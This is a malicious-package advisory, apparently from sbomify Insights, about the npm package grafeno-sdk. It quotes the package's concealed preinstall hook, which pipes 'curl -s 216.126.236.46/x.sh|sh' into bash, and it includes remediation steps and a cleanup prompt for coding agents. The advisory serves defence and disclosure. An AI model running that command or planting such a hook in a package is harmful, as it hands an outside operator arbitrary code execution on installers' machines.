# MAL-2026-15508: Malicious code in grafeno-sdk (npm)


- **Type:** Malicious package
- **Package:** `grafeno-sdk` (npm)
- **Published:** 28 Aug 2026

## What is MAL-2026-15508?

MAL-2026-15508 is a malicious package in grafeno-sdk, published on 28 Aug 2026. 

### Official description

package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.

## What should I do about MAL-2026-15508?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-15508 is a malicious package: grafeno-sdk (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-15508/ (Markdown: https://insights.sbomify.com/MAL-2026-15508/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-15508

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-15508/
Summaries are generated and may contain mistakes; the official description above is the record.